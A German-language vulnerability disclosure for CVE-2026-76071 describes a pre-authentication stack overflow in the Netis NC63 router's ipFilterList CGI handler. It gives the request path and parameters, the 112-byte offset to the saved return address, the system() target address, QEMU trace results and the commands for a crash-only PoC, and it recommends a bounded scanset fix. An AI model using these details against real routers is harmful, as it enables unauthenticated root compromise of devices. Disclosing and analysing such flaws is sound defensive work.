
Originäre Forschung und nicht-destruktiver PoC für einen Pre-Auth-Stack-Pufferüberlauf über ein unbegrenztes sscanf-Scanset im ipFilterList-Handler des Netis NC63
sscanf %[^,] im ipFilterList-Handler von skk_set.cgi in Netis NC63Forscher: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostDer generische MIB/Wert-Parser in der Netis-NC63-Firmware V3.0.0.3327 parst das destHost-Feld von ipFilterList mit zwei %[^,]-Scansets, jedoch ohne maximale Feldbreiten. Jede Konvertierung schreibt in einen lokalen Stack-Puffer von 16 Bytes. Ein direkter HTTP-Client kann daher eine lange kommafreie Komponente übermitteln und die gespeicherten Kontrolldaten der Funktion überschreiben.
Für die dynamisch getestete zweite destHost-Komponente liegt das gespeicherte ra genau 112 Bytes vom lokalen Puffer entfernt. QEMU-Tracing gegen das CGI mit Original-Hash bestätigte einen dritten, vom Angreifer gewählten Eintrag bei 0x0040f7f4. Ein separater, nur beobachtender Test leitete den Rücksprung auf den ursprünglichen system()-PLT-Pfad bei 0x00423ab0 um, während die vom Angreifer kontrollierten Anforderungsdaten als exaktes MIPS-a0-Argument erhalten blieben. Eine geschützte /bin/sh protokollierte die Markierung und führte keinen Befehl aus.
Der öffentliche PoC enthält absichtlich nur ein überlanges B-Muster. Er enthält weder den privaten Kontrolltransferwert noch die Konstruktion der Befehlsgrenze.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

Das Frontend des Anbieters erstellt srcHost und destHost als drei kommagetrennte Komponenten und sendet sie mit ipFilterList an /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

Die validierte HTTP-förmige CGI-Anfrage enthielt weder einen Cookie- noch einen Authorization-Header. /tmp/boa_auth fehlte, dennoch setzte die Ausführung in den ipFilterList=mod- und destHost-Parserpfad fort. Der Speicherkorruptionsfehler ist das Scanset ohne Breite in FUN_0040f7f4; der allgemeinere CGI-Autorisierungsfehler ist die Bedingung, die diesen privilegierten Handler vor der Authentifizierung freigibt.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
Die Metadaten der ursprünglichen libapmib.so bilden sowohl srcHost als auch destHost auf Typ 0x0c ab, der diesen Parserfall auswählt. Die dynamische Validierung wurde mit destHost durchgeführt; srcHost ist als statische Abdeckung desselben Parsers enthalten und nicht als separate dynamische Behauptung.

Normalisierter, von Ghidra abgeleiteter Pseudocode:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() ist an sich nicht die Schwachstelle. Der Fehler besteht darin, dass %[^,] keine maximale Feldbreite hat und sscanf daher nicht weiß, dass jedes Ziel nur 16 Bytes groß ist. Ein kapazitätsbewusstes Format würde eine Breite wie %15[^,] verwenden, prüfen, dass genau drei Konvertierungen erfolgreich waren, und dann die geparsten Adresswerte validieren. Dies ist eine beispielhafte Abschwächung, kein Hersteller-Patch.
FUN_0040f7f4 beginnt bei 0x0040f7f4 und erzeugt einen Frame von 0x1d0 Bytes:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
Die Ziele vom Typ 0x0c befinden sich bei fp+0x14c und fp+0x15c. Das gespeicherte ra liegt bei fp+0x1cc, sodass der exakte Abstand zum zweiten Puffer beträgt:
0x1cc - 0x15c = 0x70 = 112 bytes

Der isolierte PC-Beweis verwendete 112 Füllbytes, gefolgt von den drei niederwertigen Little-Endian-Bytes von 0x0040f7f4; der sscanf-Abschluss lieferte das vierte Nullbyte. QEMU beobachtete zwei gewöhnliche Parser-Einträge, gefolgt von einem dritten Eintrag, der durch die überschriebene Rücksprungadresse verursacht wurde:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Eine separate private Validierung bildete das gespeicherte ra=0x00423ab0, den system()-PLT-Pfad der ursprünglichen Binärdatei. Ein kontrolliertes Anforderungsschlüssel-Suffix verblieb bei der Rückkehr im MIPS-a0. Die Wegwerf-Laufzeitumgebung ersetzte /bin/sh durch einen statischen Logger:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
Dies etabliert ein RCE-Primitiv im isolierten Produktionscodepfad. Die genaue Exploit-Zuverlässigkeit des physischen Routers, das Verhalten der Kernel-Randomisierung und die Standard-WAN-Exposition wurden nicht getestet.
Das getestete netis.cgi ist byte-identisch mit dem Produktionsartefakt. Da der flash-gestützte MIB-Zustand in qemu-user nicht verfügbar ist, verwendete das wegwerfbare RootFS eine offengelegte, nur für Labore gedachte libapmib.so-Anpassung, die einen mit Nullen gefüllten MIB-Zustand allokierte und eine Packed-Feld-Ausrichtung anpasste. Sie änderte weder das CGI, den Anforderungsparser, das anfällige sscanf, den Stack-Frame, den Offset der gespeicherten Rücksprungadresse, den Epilog noch den system()-Pfad. Die statischen Metadaten stammten aus der ursprünglichen libapmib.so des Anbieters.
Die ursprüngliche ausführbare Datei hat eine feste Basis, besitzt weder Stack-Canary noch RELRO und verfügt über einen ausführbaren Stack und ein RWX-Segment. Diese Eigenschaften unterstützen die Exploitability-Analyse, ersetzen jedoch nicht die dynamischen PC- und geschützten Grenztests.

Trockenlauf-Erzeugung des URL-kodierten Bodys:
python3 poc/poc.py
Explizite Übertragung an ein autorisiertes Wegwerf-Ziel:
python3 poc/poc.py --target http://192.168.1.1 --send
Das öffentliche Skript verwendet eine 115 Byte große B-Komponente, um die Überlaufbedingung zu demonstrieren. Das Senden kann den CGI-Prozess zum Absturz bringen. Es enthält keine Befehlszeichenfolge, keinen Shellcode, keine Rücksprung-zu-system-Adresse, keine Reverse-Shell und keine Persistenz.
Eine erfolgreiche Ausnutzung kann vom Angreifer gewählte Befehle im Router-Verwaltungskontext ausführen. Die ursprüngliche Boa-Konfiguration führt CGI als root aus. Mögliche Folgen sind die Offenlegung von Router-Konfiguration und Geheimnissen, Manipulation von DNS/Firewall/Routing, Verkehrsumleitung, Dienstunterbrechung und vollständige Kompromittierung des Geräts.
%15[^,] für jedes 16-Byte-Ziel und verlangen Sie drei erfolgreiche Konvertierungen.%s und %[...].Siehe evidence/README.md. Normalisierter Pseudocode und Anweisungsnachweise befinden sich unter attachments/decompiled-functions/.
CVE-2026-76071 vergeben und die öffentliche Offenlegung autorisiert.Es wurde kein physischer Router geflasht. Es wurden kein echter Befehl, kein Shellcode, keine Reverse-Shell, keine Persistenz, keine externe Netzwerkverbindung und keine destruktive Operation verwendet.